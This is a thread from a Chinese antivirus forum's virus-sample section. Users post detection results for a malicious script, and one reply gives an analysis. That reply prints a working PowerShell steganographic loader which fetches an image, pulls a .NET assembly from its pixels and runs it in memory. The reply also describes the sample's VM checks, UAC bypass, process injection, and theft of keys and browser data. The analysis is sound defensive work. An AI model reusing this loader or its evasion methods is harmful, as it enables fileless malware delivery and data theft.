12
返回列表 发新帖
楼主: ulyanov2233
收起左侧

[病毒样本] 恶意脚本 1x

[复制链接]
蝙蝠BATGOD
发表于 4 天前 | 显示全部楼层
GDHJDSYDH 发表于 2025-6-29 12:24
EIS扫描miss,沙盒内运行报错

essp
JS/TrojanDownloader.Agent.ACUJ
吃瓜群众第123位
发表于 4 天前 | 显示全部楼层
AhnLab Scan 0x ASD信誉:N/A

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
图钉鱼
发表于 4 天前 | 显示全部楼层
本帖最后由 图钉鱼 于 2025-6-29 18:37 编辑
  1. $Base64String1 = 'VAI';
  2. $Base64Bytes1 = [System.Convert]::FromBase64String($Base64String1);
  3. $DecodedString1 = [System.Text.Encoding]::UTF8.GetString($Base64Bytes1);
  4. $Base64String2 = 'ClassLibrary1.Home';
  5. $Base64Bytes2 = [System.Convert]::Frombase64String($Base64String2);
  6. $DecodedString2 = [System.Text.Encoding]::UTF8.GetString($Base64Bytes2);
  7. # 加载System.Drawing程序集
  8. Add-Type -AssemblyName System.Drawing;
  9. # 使用本地图片文件,原网址已失效https://archive.org/download/wp4096799-lost-in-space-wallpapers_20250624_1601/wp4096799-lost-in-space-wallpapers.jpg
  10. $localImagePath = 'wallpapers.jpg';
  11. $WebClient=New-Object System.Net.WebClient;
  12. $WebClient.Headers.Add('User-Agent','Mozilla/5.0');
  13. $ImageData=$WebClient.DownloadData($localImagePath);
  14. $BmpHeader=[byte[]](0x42, 0x4D, 0x46, 0xC0, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x64, 0x00, 0x00, 0x00, 0x8C, 0x35, 0x00, 0x00, 0x01, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xC0, 0x3E, 0x00, 0xC4, 0x0E, 0x00, 0x00, 0xC4, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00);
  15. # 在图片数据中搜索BMP文件头
  16. $HeaderPosition=-1;
  17. for($gurls=0;$gurls -le $ImageData.Length-$BmpHeader.Length;$gurls++){ $psychian=$true;for($pMcGoohan=0;$pMcGoohan -lt $BmpHeader.Length;$pMcGoohan++){if($ImageData[$gurls+$pMcGoohan] -ne $BmpHeader[$pMcGoohan]){$psychian=$false;break}}if($psychian){$HeaderPosition=$gurls;break}};
  18. if($HeaderPosition -eq -1){return};
  19. $ImagePayload=$ImageData[$HeaderPosition..($ImageData.Length-1)];
  20. # 创建内存流存放图片数据
  21. $MemoryStream=New-Object IO.MemoryStream;
  22. $MemoryStream.Write($ImagePayload,0,$ImagePayload.Length);
  23. $MemoryStream.Seek(0,'Begin')|Out-Null;
  24. $Bitmap=[Drawing.Bitmap]::FromStream($MemoryStream);
  25. $PixelData=New-Object Collections.Generic.List[Byte];
  26. for($tattooing=0;$tattooing -lt $Bitmap.Height;$tattooing++){for($hardwire=0;$hardwire -lt $Bitmap.Width;$hardwire++){$minidrama=$Bitmap.GetPixel($hardwire,$tattooing);$PixelData.Add($minidrama.R);$PixelData.Add($minidrama.G);$PixelData.Add($minidrama.B)}};
  27. $PayloadLength=[BitConverter]::ToInt32($PixelData.GetRange(0,4).ToArray(),0);
  28. $PayloadData=$PixelData.GetRange(4,$PayloadLength).ToArray();
  29. $Base64Payload=[Convert]::ToBase64String($PayloadData).Replace('A','@').Replace('@','A');
  30. $ObfuscatedString='E50MnNFUUhzLy9SZl5SZ0NXYw9yL6MHc0RHa'.Replace(']@','t');
  31. $AssemblyBytes=[Convert]::FromBase64String($Base64Payload);
  32. $LoadedAssembly=[Reflection.Assembly]::Load($AssemblyBytes);
  33. $Arguments=@($ObfuscatedString,'','','','MSBuild','','','','','C:\Users\Public\Downloads','infoboxes','js','','','kicksorter','2','');
  34. $LoadedAssembly.GetType($DecodedString2).GetMethod($DecodedString1).Invoke($dyers,$Arguments);
  35. $Bitmap.Dispose();
  36. $MemoryStream.Dispose()
复制代码




隐写提取步骤:
定位隐写起始点​
在图片文件中搜索硬编码的54字节BMP头特征值:
42 4D 46 C0 3E 00 00 00 00 00 36 00
00 00 28 00 00 00 64 00 00 00 8C 35
00 00 01 00 18 00 00 00 00 00 10 C0
3E 00 C4 0E 00 00 C4 0E 00 00 00 00
00 00 00 00 00 00
成功在偏移量 0x1013B6 处找到BMP头

解析BMP图像数据​:
手动解析BMP格式
图像参数:宽100像素 × 高13708像素,24位色深
BMP特性:图像数据自下而上存储,每行字节数需4字节对齐
计算行填充字节:每行实际字节数 = (100 * 3 + 3) & ~3 = 300 → 无填充(300%4==0)
按行提取像素:从最后一行到第一行,每像素按R、G、B顺序读取

提取载荷数据​:
从像素数据的前4字节读取载荷长度(小端序):4112384字节
提取后续指定长度的数据作为原始载荷

Base64混淆处理​:
将原始载荷Base64编码
执行字符替换:A→@ 然后 @→A(双重替换)
对结果进行Base64解码原始载荷经过 Base64 编码后不包含字符 'A' 或 '@'
因此替换操作没有真正改变任何字符
最终解码后数据与原始数据完全相同



验证结果​:
原始载荷与解码后载荷MD5相同:9f284be3873885a1f77248d7e85f3a86
https://www.virustotal.com/gui/f ... 27befdb90364ffe5fa/

检测到有效的DOS头(MZ签名),确认是PE文件,进一步确认为DLL。
输出符合预期。





提取的负载是一个NET 程序集,无文件落地 (Fileless)​​:程序集仅在内存中运行,不写入磁盘。
使用 PowerShell 反射技术(如 [System.Reflection.Assembly]::Load)将程序集直接加载到内存中。
通过动态调用类方法执行程序集功能(关键类名:ClassLibrary1.Home)。


整个攻击流程为:
攻击者将恶意软件通过隐写术隐藏在图片(wallpapers.jpg)中,并上传到archive.org。
受害者下载图片后,通过特定的规则提取出恶意载荷(payload.dll),然后执行。
恶意软件执行后,进行环境探测、权限提升、进程注入、数据收集等恶意行为,并尝试建立持久化和横向移动。

虚拟机检测三重验证​:
WMI硬件查询(23类设备信息)
CPUID指令检查(Virtual CPU字符串)
驱动特征比对(Vid.sys虚拟驱动)


反内存分析​:
内存地址随机化(7fff4c​**​​**)
代码碎片化(多处内嵌shellcode)
RPC调用RAiLaunchAdminProcess获取SYSTEM权限
consent.exe绕过UAC

隐蔽通信技术​
通道1​:CryptnetUrlCache缓存读取
路径:C:\Users\...\CryptnetUrlCache\Content\A583E2A5...

​通道2​:WER错误报告伪装
日志写入:C:\ProgramData\Microsoft\Windows\WER\ReportQueue\*.wer

注入演进​
传统注入​:修改进程内存(svchost.exe,WerFault.exe,mmc.exe)
高级注入​:线程恢复技术
回调函数执行
GdipCreateBitmapFromStream
DispatchMessageW

提取:
用户证书私钥
Windows错误报告(含内存片段)
浏览器历史


​​用WerFault.exe建立通道:HTTPS流量封装在BITS传输

盗取的数据加密数据存储于崩溃日志:
markdownmarkdown复制c:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_mmc.exe_...\Report.wer

通过回调函数GdipCreateBitmapFromStream的使用、内存中像素操作指令,使用图片像素隐写回传:
通过RPC调用伪装图片命名为Wallpaper_updated.jpg回传~~~~


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
biue
发表于 3 天前 | 显示全部楼层
腾讯电脑管家 1X

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
1073328164
发表于 3 天前 | 显示全部楼层
迈克菲 kill

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
King、暮光
发表于 3 天前 | 显示全部楼层
云溪Trojan/Script.SAgent
lgq518
发表于 昨天 11:54 | 显示全部楼层
双击毛豆阻止

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-7-3 12:13 , Processed in 0.097582 second(s), 14 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表